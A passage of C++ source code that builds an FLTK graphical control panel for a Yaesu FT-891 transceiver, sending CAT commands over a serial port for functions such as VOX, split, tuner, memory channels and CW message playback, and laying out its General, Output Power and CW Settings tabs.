m_port.writeString(BreakIn::Set(BreakInState::ON)); } } else if(o == VOX) { if(VOX->color() == FL_GREEN) { VOX->color(FL_BACKGROUND_COLOR); m_port.writeString(VoxStatus::Set(VoxStatusValue::OFF)); } else { VOX->color(FL_GREEN); m_port.writeString(VoxStatus::Set(VoxStatusValue::ON)); } } else if(o == AB) { string s = SwapVfo::Set(); m_port.writeString(s); } else if(o == UP) { string s = BandUP::Set(); m_port.writeString(s); } else if(o == DOWN) { string s = BandDown::Set(); m_port.writeString(s); } else if(o == McUp) { string s = Up::Set(); m_port.writeString(s); s = Yaesu::FT891::Commands::INFORMATION::Read(); m_port.writeString(s); } else if(o == McDn) { string s = Mic_Down::Set(); m_port.writeString(s); s = Yaesu::FT891::Commands::INFORMATION::Read(); m_port.writeString(s); } else if(o == LOCK) { if(LOCK->color() == FL_BACKGROUND_COLOR) { string s = Yaesu::FT891::Commands::VFODialLock::Set(DialLockValue::ON); m_port.writeString(s); LOCK->color(FL_GREEN); } else { string s = Yaesu::FT891::Commands::VFODialLock::Set(DialLockValue::OFF); m_port.writeString(s); LOCK->color(FL_BACKGROUND_COLOR); } } else if(o == SPL) { if(SPL->color() == FL_BLUE) { SplitValue = SplitValue::OFF; string s = Split::Set(SplitValue); m_port.writeString(s); SPL->color(FL_BACKGROUND_COLOR); VFOBFreq = VFOBFreq - 5000; m_port.writeString(VFO_B_FREQ::Set(VFOBFreq)); } else if(SPL->color() == FL_GREEN) { SplitValue = SplitValue::ON_5KU; string s = Split::Set(SplitValue); m_port.writeString(s); SPL->color(FL_BLUE); } else if(SPL->color() == FL_BACKGROUND_COLOR) { SplitValue = SplitValue::ON; string s = Split::Set(SplitValue); m_port.writeString(s); SPL->color(FL_GREEN); } SPL->redraw(); } else if(o == TNR) { if(TNR->color() == FL_GREEN) { TNR->color(FL_BACKGROUND_COLOR); string s = AntennaTunerControl::Set(TunerState::OFF); m_port.writeString(s); } else if(TNR->color() == FL_BACKGROUND_COLOR) { TNR->color(FL_GREEN); string s = AntennaTunerControl::Set(TunerState::ON); m_port.writeString(s); } TNR->redraw(); } else if(o == ATTune) { if(TNR->color() == FL_GREEN) { string s = AntennaTunerControl::Set(TunerState::Start); m_port.writeString(s); } } else if(o == V_M) { string s = VFO_A_toMemoryChannel::Set(); m_port.writeString(s); } else if(o == VA_M) { if(m_channels.size() == 0){ fl_alert("Reading Memory Channels, this may take a moment."); MemoryChannelEdit = true; currentMemory = MemoryChannelValue::_1; std::string s = Yaesu::FT891::Commands::MemoryWriteTag::Read(currentMemory); m_port.writeString(s); while(MemoryChannelEdit) Fl::wait(); } if(!MemoryChannelEdit) { Yaesu::FT891::Commands::MemoryChannelTagValue* next = new Yaesu::FT891::Commands::MemoryChannelTagValue(); next->VFOAFreq = this->VFOAFreq; next->Clarifier = ClarifierState; next->ClarifierFreq = this->Clarifier->value(); next->Mode = this->currentMemoryMode; next->Operation = static_cast(SplitValue); next->TAG = Yaesu::FT891::Commands::TagValue::OFF; next->TagString = ""; win = new Fl_Double_Window(1200,700, "Memory Editor"); m_editor = new MemoryEditor(10 ,20,1080,700-20,m_channels,next,""); Fl_Button* save = new Fl_Button(1100,20,80,50,"Save"); save->callback((Fl_Callback*)&::OnSaveMemory, this); Fl_Button* cancel = new Fl_Button(1100,77,80,50,"Cancel"); win->set_modal(); win->resizable(win); win->show(); } } else if(o == M_VA) { string s = MemoryChannelToVFOA::Set(); m_port.writeString(s); MemoryChannelEdit = true; m_channels.clear(); m_port.writeString(MemoryWriteTag::Read((MemoryChannelValue)1)); while(MemoryChannelEdit) Fl::wait(); if(!MemoryChannelEdit) { win = new Fl_Double_Window(1200,700, "Memory Editor"); m_editor = new MemoryEditor(10 ,20,1080,700-20,m_channels,""); Fl_Button* cancel = new Fl_Button(1100,77,80,50,"Cancel"); win->set_modal(); win->resizable(win); win->show(); } } else if(o == QMBS) { string s = QMBStore::Set(); m_port.writeString(s); } else if(o == QMBR) { string s = QMBRecall::Set(); m_port.writeString(s); } else if(o == CLAR) { if(CLAR->color() == FL_GREEN) { ClarifierState = ClarifierState::OFF; CLAR->color(FL_BACKGROUND_COLOR); m_port.writeString(Clarifier::Set(ClarifierState::OFF)); } else { ClarifierState = ClarifierState::ON; CLAR->color(FL_GREEN); m_port.writeString(Clarifier::Set(ClarifierState::ON)); } } else if(o == PlayCWMessage1) { std::string val; val = CWKeyingPlayback::Set(KeyerMemoryChannel::Message1); m_port.writeString(val); } else if(o == PlayCWMessage2) { m_port.writeString(CWKeyingPlayback::Set(KeyerMemoryChannel::Message2)); } else if(o == PlayCWMessage3) { m_port.writeString(CWKeyingPlayback::Set(KeyerMemoryChannel::Message3)); } else if(o == PlayCWMessage4) { m_port.writeString(CWKeyingPlayback::Set(KeyerMemoryChannel::Message4)); } else if(o == PlayCWMessage5) { m_port.writeString(CWKeyingPlayback::Set(KeyerMemoryChannel::Message5)); } } void OnEnter(Fl_Input* o ,void* v) { FT891* ptr = (FT891*)v; ptr->OnTextEnter(FL_ENTER,o); } void OnMessageText(Fl_Input* o, void* v) { FT891* ptr = (FT891*)v; ptr->OnMessageUpdate(o); } int FT891::OnTextEnter(int key, Fl_Input* editor) { string sfreq = editor->value(); int pos = 1; while((pos = sfreq.find_first_of(".")) != string::npos) { sfreq = sfreq.erase(pos,1); } int freq = std::stoi(sfreq); string s ; if(editor == VFOA) { s = VFO_A_FREQ::Set(freq); } else if(editor == VFOB) { s = VFO_B_FREQ::Set(freq); } m_port.writeString(s); return key; } void FT891::OnMessageUpdate(Fl_Input* editor) { KeyerMemoryValue val; val.Message = std::string(editor->value()).substr(0,50); if(editor == CWMemoryValue1) val.ChannelNumber = 1; else if(editor == CWMemoryValue2) val.ChannelNumber = 2; else if(editor == CWMemoryValue3) val.ChannelNumber = 3; else if(editor == CWMemoryValue4) val.ChannelNumber = 4; else if(editor == CWMemoryValue5) val.ChannelNumber = 5; m_port.writeString(KeyerMemory::Set(val)); } void FT891::BuildGeneralGroup(int w, int h) { int y = 60; int boxwidth = 45; int sliderWidth = 45; int sliderGap = 20 + sliderWidth; GeneralG = new Fl_Group(0, y, w, (h - y), "General"); PowerButton = new Fl_Light_Button(15, 5 + y, 80, 30, "Power"); PowerButton->selection_color(FL_RED); PowerButton->callback((Fl_Callback*)OnLightButtonClick, this); QMBS = new Fl_Button(PowerButton->x() + PowerButton->w() + 5, PowerButton->y() + PowerButton->h() - 20, boxwidth,20, "QM►"); QMBS->box(FL_BORDER_BOX); QMBS->align(FL_ALIGN_CENTER); QMBS->callback((Fl_Callback*)&::OnBox, this); QMBR = new Fl_Button(QMBS->x() + QMBS->w() + 5, QMBS->y(), boxwidth,20, "QM◄"); QMBR->box(FL_BORDER_BOX); QMBR->align(FL_ALIGN_CENTER); QMBR->callback((Fl_Callback*)&::OnBox, this); M_VA = new Fl_Button(QMBR->x() + QMBR->w() + 5, QMBR->y(),QMBR->w(), QMBR->h(), "M►V"); M_VA->box(FL_BORDER_BOX); M_VA->align(FL_ALIGN_CENTER); M_VA->color(FL_BACKGROUND_COLOR); M_VA->callback((Fl_Callback*)&::OnBox, this); VA_M = new Fl_Button(M_VA->x() + M_VA->w() + 5, M_VA->y(),M_VA->w(), M_VA->h(), "V►M"); VA_M->box(FL_BORDER_BOX); VA_M->align(FL_ALIGN_CENTER); VA_M->color(FL_BACKGROUND_COLOR); VA_M->callback((Fl_Callback*)&::OnBox, this); V_M = new Fl_Button(VA_M->x() + VA_M->w() + 5, VA_M->y(),VA_M->w(), VA_M->h(), "V/M"); V_M->box(FL_BORDER_BOX); V_M->align(FL_ALIGN_CENTER); V_M->color(FL_BACKGROUND_COLOR); V_M->callback((Fl_Callback*)&::OnBox, this); AB = new Fl_Button(V_M->x() + V_M->w() + 5, V_M->y(), boxwidth, 20,"A/B"); AB->box(FL_BORDER_BOX); AB->align(FL_ALIGN_CENTER); AB->color(FL_BACKGROUND_COLOR); AB->callback((Fl_Callback*)&::OnBox, this); StatusLED = new Fl_Box(AB->x() + AB->w() + 5, AB->y(), boxwidth, 20); StatusLED->box(FL_BORDER_BOX); StatusLED->show(); TNR = new Fl_Button(15, PowerButton->y() + PowerButton->h() + 5, boxwidth, 20 ,"TNR"); TNR->box(FL_BORDER_BOX); TNR->align(FL_ALIGN_CENTER); TNR->callback((Fl_Callback*)&::OnBox, this); VOX = new Fl_Button(15, TNR->y() + 25, boxwidth, 20, "VOX" ); VOX->box(FL_BORDER_BOX); VOX->align(FL_ALIGN_CENTER); VOX->callback((Fl_Callback*)&::OnBox, this); Keyer = new Fl_Button(VOX->x(), VOX->y(),boxwidth, 20, "KYR"); Keyer->box(FL_BORDER_BOX); Keyer->align(FL_ALIGN_CENTER); Keyer->callback((Fl_Callback*)&::OnBox, this); Keyer->hide(); PRC = new Fl_Button(15, VOX->y() + 25, boxwidth, 20 ,"PRC"); PRC->box(FL_BORDER_BOX); PRC->align(FL_ALIGN_CENTER); PRC->callback((Fl_Callback*)&::OnBox, this); BreakIn = new Fl_Button(15, PRC->y(), boxwidth, 20, "BKI"); BreakIn->box(FL_BORDER_BOX); BreakIn->align(FL_ALIGN_CENTER); BreakIn->callback((Fl_Callback*)&::OnBox, this); BreakIn->hide(); MON = new Fl_Button(15, PRC->y() + 25, boxwidth, 20, "MON" ); MON->box(FL_BORDER_BOX); MON->align(FL_ALIGN_CENTER); MON->callback((Fl_Callback*)&::OnBox, this); SPL = new Fl_Button(15, MON->y() + 25, boxwidth, 20, "SPL" ); SPL->box(FL_BORDER_BOX); SPL->align(FL_ALIGN_CENTER); SPL->callback((Fl_Callback*)&::OnBox, this); int slidery = h - 320 - 15; int sliderHeight = 320; Volume = new Fl_Value_Slider(15,slidery, sliderWidth, sliderHeight, "Volume" ); Volume->align(FL_ALIGN_TOP); Volume->minimum(255.0); Volume->maximum(0.00); Volume->value(1.00); Volume->step(1.0); Volume->callback((Fl_Callback*)OnScrollBar, this); RFGain = new Fl_Value_Slider(Volume->x() + sliderGap, h - 320 - 15, sliderWidth,320, "RF Gain"); RFGain->align(FL_ALIGN_TOP); RFGain->minimum(30.0); RFGain->maximum(0.00); RFGain->value(0.00); RFGain->step(1.0); RFGain->callback((Fl_Callback*)OnScrollBar, this); Squelch = new Fl_Value_Slider(RFGain->x() + sliderGap, h - 320 - 15, sliderWidth, 320, "Squelch"); Squelch->align(FL_ALIGN_TOP); Squelch->minimum(100); Squelch->maximum(0.00); Squelch->value(0.00); Squelch->step(1.0); Squelch->callback((Fl_Callback*)OnScrollBar, this); MicGain = new Fl_Value_Slider(Squelch->x() + sliderGap,h - 320 - 15, sliderWidth, 320, "MicGain"); MicGain->align(FL_ALIGN_TOP); MicGain->minimum(100.0); MicGain->maximum(0.00); MicGain->value(0.00); MicGain->step(1.0); MicGain->callback((Fl_Callback*)OnScrollBar, this); ProcessorLevel = new Fl_Value_Slider(MicGain->x() + sliderGap , slidery, sliderWidth, sliderHeight, "Comp"); ProcessorLevel->align(FL_ALIGN_TOP); ProcessorLevel->minimum(100.0); ProcessorLevel->maximum(0.0); ProcessorLevel->value(0.00000); ProcessorLevel->step(1.0); ProcessorLevel->callback((Fl_Callback*)OnScrollBar, this); KeyerPitch = new Fl_Value_Slider(ProcessorLevel->x(), ProcessorLevel->y(), boxwidth , ProcessorLevel->h(), "Pitch"); KeyerPitch->minimum(1050); KeyerPitch->maximum(300); KeyerPitch->step(10); KeyerPitch->align(FL_ALIGN_TOP); KeyerPitch->callback((Fl_Callback*)&::OnRoll,this); KeyerPitch->hide(); KeyerSpeed = new Fl_Value_Slider(MicGain->x(),h - 320 - 15, sliderWidth, 320, "Speed"); KeyerSpeed->align(FL_ALIGN_TOP); KeyerSpeed->minimum(60.0); KeyerSpeed->maximum(4.00); KeyerSpeed->value(4.00); KeyerSpeed->step(1.0); KeyerSpeed->callback((Fl_Callback*)OnScrollBar, this); KeyerSpeed->hide(); MonitorLevel = new Fl_Value_Slider(ProcessorLevel->x() + sliderGap,h - 320 - 15, sliderWidth, 320, "MON"); MonitorLevel->align(FL_ALIGN_TOP); MonitorLevel->minimum(100.0); MonitorLevel->maximum(0.00); MonitorLevel->value(0.00); MonitorLevel->step(1.0); MonitorLevel->callback((Fl_Callback*)OnScrollBar, this); DNRAlgo = new Fl_Value_Slider(MonitorLevel->x() + sliderGap, h - 320 - 15, sliderWidth, 320, "DNR"); DNRAlgo->align(FL_ALIGN_TOP); DNRAlgo->minimum(15); DNRAlgo->maximum(1); DNRAlgo->value(0.00000); DNRAlgo->step(1.0); DNRAlgo->callback((Fl_Callback*)OnScrollBar, this); NoiseBlankerLevel = new Fl_Value_Slider(DNRAlgo->x() + sliderGap, h - 320 - 15, sliderWidth, 320, "NBLVL"); NoiseBlankerLevel->align(FL_ALIGN_TOP); NoiseBlankerLevel->minimum(10); NoiseBlankerLevel->maximum(0); NoiseBlankerLevel->value(0.00000); NoiseBlankerLevel->step(1.0); NoiseBlankerLevel->callback((Fl_Callback*)OnScrollBar, this); VoxGainLevel = new Fl_Value_Slider(NoiseBlankerLevel->x() + sliderGap ,h - 320 - 15, sliderWidth, 320, "VoxLevel" ); VoxGainLevel->align(FL_ALIGN_TOP); VoxGainLevel->minimum(100.0); VoxGainLevel->maximum(0.0); VoxGainLevel->value(0.00000); VoxGainLevel->step(1.0); VoxGainLevel->callback((Fl_Callback*)OnScrollBar, this); VoxDelayTime = new Fl_Value_Slider(VoxGainLevel->x() + sliderGap,h - 320 - 15, sliderWidth, 320, "VoxDelay" ); VoxDelayTime->align(FL_ALIGN_TOP); VoxDelayTime->minimum(3000.0); VoxDelayTime->maximum(30.0); VoxDelayTime->value(30.0); VoxDelayTime->step(10.0); VoxDelayTime->callback((Fl_Callback*)OnScrollBar, this); OperatingMode = new Fl_Choice(Keyer->x() + Keyer->w() + 5, Keyer->y(), 80, 30, ""); OperatingMode->add("USB", 0, OnOperatingMode,this,0); OperatingMode->add("LSB", 0, OnOperatingMode,this,0); OperatingMode->add("SSB-AUTO",0, OnOperatingMode,this,0); OperatingMode->add("CW-L",0,OnOperatingMode,this,0); OperatingMode->add("CW-U", 0 , OnOperatingMode, this, 0); OperatingMode->add("CW-AUTO", 0 , OnOperatingMode, this, 0); OperatingMode->add("FM",0,OnOperatingMode,this,0); OperatingMode->add("FM-N",0, OnOperatingMode,this,0); OperatingMode->add("AM",0,OnOperatingMode,this,0); OperatingMode->add("AM-N",0,OnOperatingMode,this,0); OperatingMode->add("DATA-U",0,OnOperatingMode,this, 0); OperatingMode->add("DATA-L",0,OnOperatingMode,this,0); OperatingMode->add("RTTY-U",0,OnOperatingMode,this,0); OperatingMode->add("RTTY-L",0,OnOperatingMode,this,0); DisplayMode = new Fl_Choice(OperatingMode->x(), OperatingMode->y() + OperatingMode->h() + 5, 80, 30, ""); DisplayMode->add("COMP", 0, OnChoice, this, 0); DisplayMode->add("ALC", 0, OnChoice, this, 0); DisplayMode->add("PO", 0, OnChoice, this, 0); DisplayMode->add("SWR", 0, OnChoice, this, 0); DisplayMode->add("IDD", 0, OnChoice, this, 0); VFOA = new Fl_Input(OperatingMode->x() + OperatingMode->w() + 5, TNR->y() , 100, 30, ""); VFOA->textfont(FL_TIMES_BOLD); VFOA->textsize(20); VFOA->callback((Fl_Callback*)&::OnEnter,this); VFOA->when(FL_WHEN_ENTER_KEY_ALWAYS); VFOB = new Fl_Input(VFOA->x(), VFOA->y() + VFOA->h() + 5, 100, 30, ""); VFOB->textfont(FL_TIMES_BOLD); VFOB->textsize(20); VFOB->callback((Fl_Callback*)&::OnEnter,this); VFOB->when(FL_WHEN_ENTER_KEY_ALWAYS); int col = AB->x(); IPO = new Fl_Button(col, TNR->y(), boxwidth,20, "IPO"); IPO->box(FL_BORDER_BOX); IPO->align(FL_ALIGN_CENTER); IPO->callback((Fl_Callback*)&::OnBox, this); ATT = new Fl_Button(IPO->x(), IPO->y() + IPO->h() + 5, boxwidth,20, "ATT"); ATT->box(FL_BORDER_BOX); ATT->align(FL_ALIGN_CENTER); ATT->callback((Fl_Callback*)&::OnBox, this); NAR = new Fl_Button(ATT->x(), ATT->y() + ATT->h() + 5, boxwidth,20, "NAR"); NAR->box(FL_BORDER_BOX); NAR->align(FL_ALIGN_CENTER); NAR->color(FL_BACKGROUND_COLOR); NAR->callback((Fl_Callback*)&::OnBox, this); NB = new Fl_Button(NAR->x(), NAR->y() + NAR->h() + 5, boxwidth,20, "NB"); NB->box(FL_BORDER_BOX); NB->align(FL_ALIGN_CENTER); NB->color(FL_BACKGROUND_COLOR); NB->callback((Fl_Callback*)&::OnBox, this); FST = new Fl_Button(NB->x(), NB->y() + NB->h() + 5, boxwidth,20, "FST"); FST->box(FL_BORDER_BOX); FST->align(FL_ALIGN_CENTER); FST->color(FL_BACKGROUND_COLOR); FST->callback((Fl_Callback*)&::OnBox, this); Width = new Fl_Choice(col + FST->w() + 5,ATT->y(),80,30,"Width"); Width->align(FL_ALIGN_TOP); Band = new Fl_Choice(col + FST->w() + 5, Width->y() + 45, 80,30,"Band"); Band->add("1.8", 0, OnChoice, this, 0); Band->add("3.5", 0, OnChoice, this, 0); Band->add("5.0", 0, OnChoice, this, 0); Band->add("7.0", 0, OnChoice, this, 0); Band->add("10", 0, OnChoice, this, 0); Band->add("14", 0, OnChoice, this, 0); Band->add("18", 0, OnChoice, this, 0); Band->add("21", 0, OnChoice, this, 0); Band->add("24", 0, OnChoice, this, 0); Band->add("28", 0, OnChoice, this, 0); Band->add("50", 0, OnChoice, this, 0); Band->add("GEN", 0, OnChoice, this, 0); Band->align(FL_ALIGN_TOP); UP = new Fl_Button(Band->x(), Band->y() + Band->h() + 5, boxwidth, 20,"▲"); UP->box(FL_BORDER_BOX); UP->align(FL_ALIGN_CENTER); UP->color(FL_BACKGROUND_COLOR); UP->callback((Fl_Callback*)&::OnBox, this); DOWN = new Fl_Button(UP->x() + UP->w() + 5, UP->y() , boxwidth, 20,"▼"); DOWN->box(FL_BORDER_BOX); DOWN->align(FL_ALIGN_CENTER); DOWN->color(FL_BACKGROUND_COLOR); DOWN->callback((Fl_Callback*)&::OnBox, this); LOCK = new Fl_Button(Width->x() + Width->w(), Width->y(), boxwidth, 20,"Lock"); LOCK->box(FL_BORDER_BOX); LOCK->align(FL_ALIGN_CENTER); LOCK->color(FL_BACKGROUND_COLOR); LOCK->callback((Fl_Callback*)&::OnBox, this); btnDNR = new Fl_Button(LOCK->x(), LOCK->y() + LOCK->h() + 5, boxwidth,20, "DNR"); btnDNR->box(FL_BORDER_BOX); btnDNR->align(FL_ALIGN_CENTER); btnDNR->color(FL_BACKGROUND_COLOR); btnDNR->callback((Fl_Callback*)&::OnBox, this); CLAR = new Fl_Button(btnDNR->x(), btnDNR->y() + btnDNR->h() + 5, boxwidth,20, "CLAR"); CLAR->box(FL_BORDER_BOX); CLAR->align(FL_ALIGN_CENTER); CLAR->color(FL_BACKGROUND_COLOR); CLAR->callback((Fl_Callback*)&::OnBox, this); ChannelLabel = new Fl_Box(TNR->x() + TNR->w() + 5, TNR->y(), VFOA->x() - (TNR->x() + TNR->w() + 10), TNR->h(),"A"); McUp = new Fl_Button(LOCK->x() + LOCK->w() + 5, LOCK->y(), boxwidth, 20,"▲"); McUp->box(FL_BORDER_BOX); McUp->align(FL_ALIGN_CENTER); McUp->color(FL_BACKGROUND_COLOR); McUp->callback((Fl_Callback*)&::OnBox, this); McDn = new Fl_Button(McUp->x(), McUp->y() + McUp->h() + 5, boxwidth, 20,"▼"); McDn->box(FL_BORDER_BOX); McDn->align(FL_ALIGN_CENTER); McDn->color(FL_BACKGROUND_COLOR); McDn->callback((Fl_Callback*)&::OnBox, this); ClarifierType = new Fl_Choice(McUp->x() + McUp->w() + 5, McUp->y(), boxwidth * 2, 30, "Clarifier"); ClarifierType->align(FL_ALIGN_TOP); ClarifierType->add("RX", 0, OnChoice, this, 0); ClarifierType->add("TX", 0, OnChoice, this, 0); ClarifierType->add("TRX", 0, OnChoice, this, 0); Clarifier = new Fl_Counter(ClarifierType->x(), ClarifierType->y() + ClarifierType->h() + 5, boxwidth * 2, 20, "RIT/XIT"); Clarifier->box(FL_BORDER_BOX); Clarifier->align(FL_ALIGN_CENTER); Clarifier->color(FL_BACKGROUND_COLOR); Clarifier->bounds(-9999,9999); Clarifier->step(1,10); Clarifier->value(0); Clarifier->callback((Fl_Callback*)&::OnCounter,this ); ATTune = new Fl_Button(DOWN->x() + DOWN->w() + 5, DOWN->y(), boxwidth, 20, "Tune"); ATTune->box(FL_BORDER_BOX); ATTune->align(FL_ALIGN_CENTER); ATTune->color(FL_BACKGROUND_COLOR); ATTune->callback((Fl_Callback*)&::OnBox, this); TunerType = new Fl_Choice(ATTune->x() + ATTune->w() + 5, ATTune->y(), boxwidth * 2, 30,"TUN/LIN"); TunerType->align(FL_ALIGN_TOP); TunerType->add("OFF", 0, OnChoice, this, 0); TunerType->add("EXT", 0, OnChoice, this, 0); TunerType->add("ATAS", 0, OnChoice, this, 0); TunerType->add("LAMP", 0, OnChoice, this, 0); TunerType->value(0); GeneralG->show(); GeneralG->end(); } void FT891::BuildPowerGroup(int w, int h) { int y = 60; OutputPowerG = new Fl_Group(0, y, w, (h - y), "Output Power"); int iStart = 15; int sliderTop = (h - y - 320); int slidery = h - 320 - 15; int sliderHeight = 320; int sliderWidth = 45; HFPowerG = new Fl_Group(0, sliderTop - 80, (w / 2), (h - y), "HF Power"); HFPowerG->box(FL_BORDER_BOX); HFPower = new Fl_Value_Slider(iStart, sliderTop, sliderWidth, sliderHeight, "Power"); HFPower->minimum(100); HFPower->maximum(5); HFPower->value(0.00000); HFPower->step(1.0); HFPower->callback((Fl_Callback*)OnScrollBar, this); HFPower->align(FL_ALIGN_TOP); iStart += (w / 2) / 4 + 45 / 2; HFSSBPower = new Fl_Value_Slider(iStart, sliderTop, sliderWidth, sliderHeight, "SSB Power"); HFSSBPower->minimum(100); HFSSBPower->maximum(5); HFSSBPower->value(0.00000); HFSSBPower->step(1.0); HFSSBPower->callback((Fl_Callback*)OnScrollBar, this); HFSSBPower->align(FL_ALIGN_TOP); iStart += (w / 2) / 4 + 45 / 2; HFAMPower = new Fl_Value_Slider(iStart, sliderTop, sliderWidth, sliderHeight, "AM Power"); HFAMPower->minimum(40); HFAMPower->maximum(5); HFAMPower->value(0.00000); HFAMPower->step(1.0); HFAMPower->callback((Fl_Callback*)OnScrollBar, this); HFAMPower->align(FL_ALIGN_TOP); HFPowerG->end(); iStart += 55; VHFPowerG = new Fl_Group((w / 2), sliderTop - 80, (w / 2), (h - y), "VHFPower"); iStart = (w / 2); iStart += 15; VHFPower = new Fl_Value_Slider(iStart, sliderTop, sliderWidth, sliderHeight, "Power"); VHFPower->minimum(100); VHFPower->maximum(5); VHFPower->value(0.00000); VHFPower->step(1.0); VHFPower->callback((Fl_Callback*)OnScrollBar, this); VHFPower->align(FL_ALIGN_TOP); iStart += (((w / 2) / 4) + 45 / 2); VHFSSBPower = new Fl_Value_Slider(iStart, sliderTop, sliderWidth, sliderHeight, "SSB Power"); VHFSSBPower->minimum(100); VHFSSBPower->maximum(5); VHFSSBPower->value(0.00000); VHFSSBPower->step(1.0); VHFSSBPower->callback((Fl_Callback*)OnScrollBar, this); VHFSSBPower->align(FL_ALIGN_TOP); iStart += (((w / 2) / 4) + 45 / 2); VHFAMPower = new Fl_Value_Slider(iStart, sliderTop, sliderWidth, sliderHeight, "AM Power"); VHFAMPower->minimum(40); VHFAMPower->maximum(5); VHFAMPower->value(0.00000); VHFAMPower->step(1.0); VHFAMPower->callback((Fl_Callback*)OnScrollBar, this); VHFAMPower->align(FL_ALIGN_TOP); VHFPowerG->box(FL_BORDER_BOX); VHFPowerG->show(); VHFPowerG->end(); OutputPowerG->box(FL_BORDER_BOX); OutputPowerG->show(); OutputPowerG->end(); } void FT891::BuildCWSettings(int w , int h) { int y = 60; int iStart = 15; int sliderTop = (h - y - 320); int slidery = h - 320 - 15; int sliderHeight = 320; int sliderWidth = 45; int sliderGap = 20 + sliderWidth; int choiceWidth = (sliderWidth * 2) + 5; int choiceHeight = 30; int choiceX = iStart; CWSettingsTab = new Fl_Group(0, y, w, (h - y), "CW Settings"); y += choiceHeight; CWBreakInType = new Fl_Choice(choiceX, y , choiceWidth, choiceHeight, "CW Breakin Type"); CWBreakInType->add("SEMI", 0, OnChoice, this, 0); CWBreakInType->add("FULL", 0, OnChoice, this, 0); CWBreakInType->align(FL_ALIGN_TOP); CWWaveShape = new Fl_Choice(CWBreakInType->x() + choiceWidth + 20, CWBreakInType->y() , choiceWidth, choiceHeight, "CW Wave Shape"); CWWaveShape->add("2 ms", 0, OnChoice, this, 0); CWWaveShape->add("4 ms", 0, OnChoice, this, 0); CWWaveShape->align(FL_ALIGN_TOP); CWFreqDisplay = new Fl_Choice(CWWaveShape->x() + choiceWidth + 20, CWWaveShape->y() , choiceWidth, choiceHeight, "CW Freq Display"); CWFreqDisplay->add("FREQ", 0, OnChoice, this, 0); CWFreqDisplay->add("PITCH", 0, OnChoice, this, 0); CWFreqDisplay->align(FL_ALIGN_TOP); QSKDelayTime = new Fl_Choice(CWFreqDisplay->x() + choiceWidth + 20, CWFreqDisplay->y() , choiceWidth, choiceHeight, "QSK Delay"); QSKDelayTime->add("15 msec", 0, OnChoice, this, 0); QSKDelayTime->add("20 msec", 0, OnChoice, this, 0); QSKDelayTime->add("25 msec", 0, OnChoice, this, 0); QSKDelayTime->add("30 msec", 0, OnChoice, this, 0); QSKDelayTime->align(FL_ALIGN_TOP); KeyerType = new Fl_Choice(QSKDelayTime->x() + choiceWidth + 20, QSKDelayTime->y(), choiceWidth, choiceHeight, "Key Type"); KeyerType->add("OFF", 0, OnChoice, this, 0); KeyerType->add("BUG", 0, OnChoice, this, 0); KeyerType->add("A", 0, OnChoice, this, 0); KeyerType->add("B", 0, OnChoice, this, 0); KeyerType->add("Y", 0, OnChoice, this, 0); KeyerType->add("ACS", 0, OnChoice, this, 0); KeyerType->align(FL_ALIGN_TOP); KeyerDotDash = new Fl_Choice(KeyerType->x() + choiceWidth + 20, KeyerType->y(), choiceWidth, choiceHeight, "KeyerDotDash"); KeyerDotDash->add("NOR"); KeyerDotDash->add("REV"); KeyerDotDash->align(FL_ALIGN_TOP); CWWeight = new Fl_Choice(CWBreakInType->x(), KeyerDotDash->y() + choiceHeight + 20, choiceWidth, choiceHeight,"CW Weight"); for(int i = 25; i != 46;i++) { CWWeight->add(fmt::format("{:f}", (float)i/10).substr(0,3).c_str(), 0, OnChoice, this, 0); } CWWeight->align(FL_ALIGN_TOP); CWMemory1Setting = new Fl_Choice(CWWeight->x() + choiceWidth + 20, CWWeight->y(), choiceWidth, choiceHeight,"CW Memory 1"); CWMemory1Setting->add("TEXT", 0, OnChoice, this, 0); CWMemory1Setting->add("MESSAGE",0, OnChoice, this, 0); CWMemory1Setting->align(FL_ALIGN_TOP); CWMemory2Setting = new Fl_Choice(CWMemory1Setting->x() + choiceWidth + 20, CWMemory1Setting->y(), choiceWidth, choiceHeight,"CW Memory 2"); CWMemory2Setting->add("TEXT", 0, OnChoice, this, 0); CWMemory2Setting->add("MESSAGE",0, OnChoice, this, 0); CWMemory2Setting->align(FL_ALIGN_TOP); CWMemory3Setting = new Fl_Choice(CWMemory2Setting->x() + choiceWidth + 20, CWMemory2Setting->y(), choiceWidth, choiceHeight,"CW Memory 3"); CWMemory3Setting->add("TEXT", 0, OnChoice, this, 0); CWMemory3Setting->add("MESSAGE",0, OnChoice, this, 0); CWMemory3Setting->align(FL_ALIGN_TOP); CWMemory4Setting = new Fl_Choice(CWMemory3Setting->x() + choiceWidth + 20, CWMemory3Setting->y(), choiceWidth, choiceHeight,"CW Memory 4"); CWMemory4Setting->add("TEXT", 0, OnChoice, this, 0); CWMemory4Setting->add("MESSAGE",0, OnChoice, this, 0); CWMemory4Setting->align(FL_ALIGN_TOP); CWMemory5Setting = new Fl_Choice(CWMemory4Setting->x() + choiceWidth + 20, CWMemory4Setting->y(), choiceWidth, choiceHeight,"CW Memory 5"); CWMemory5Setting->add("TEXT", 0, OnChoice, this, 0); CWMemory5Setting->add("MESSAGE",0, OnChoice, this, 0); CWMemory5Setting->align(FL_ALIGN_TOP); CWMemoryValue1 = new Fl_Input(60,CWMemory5Setting->y() + choiceHeight + choiceHeight, (4 * choiceWidth) + 20,choiceHeight, "MEM 1"); CWMemoryValue1->textfont(FL_TIMES_BOLD); CWMemoryValue1->textsize(20); CWMemoryValue1->callback((Fl_Callback*)&::OnMessageText,this); CWMemoryValue1->when(FL_WHEN_ENTER_KEY_ALWAYS); PlayCWMessage1 = new Fl_Button(CWMemory4Setting->x(), CWMemoryValue1->y(), choiceWidth, choiceHeight, "►"); PlayCWMessage1->align(FL_ALIGN_CENTER); PlayCWMessage1->callback((Fl_Callback*)::OnBox, this); CWMemoryValue2 = new Fl_Input(60,CWMemoryValue1->y() + choiceHeight, (4 * choiceWidth) + 20,choiceHeight, "MEM 2"); CWMemoryValue2->textfont(FL_TIMES_BOLD); CWMemoryValue2->textsize(20); CWMemoryValue2->callback((Fl_Callback*)&::OnMessageText,this); CWMemoryValue2->when(FL_WHEN_ENTER_KEY_ALWAYS); PlayCWMessage2 = new Fl_Button(PlayCWMessage1->x() , CWMemoryValue2->y(), choiceWidth, choiceHeight, "►"); PlayCWMessage2->align(FL_ALIGN_CENTER); PlayCWMessage2->callback((Fl_Callback*)::OnBox, this); CWMemoryValue3 = new Fl_Input(60,CWMemoryValue2->y() + choiceHeight, (4 * choiceWidth) + 20,choiceHeight, "MEM 3"); CWMemoryValue3->textfont(FL_TIMES_BOLD); CWMemoryValue3->textsize(20); CWMemoryValue3->callback((Fl_Callback*)&::OnMessageText,this); 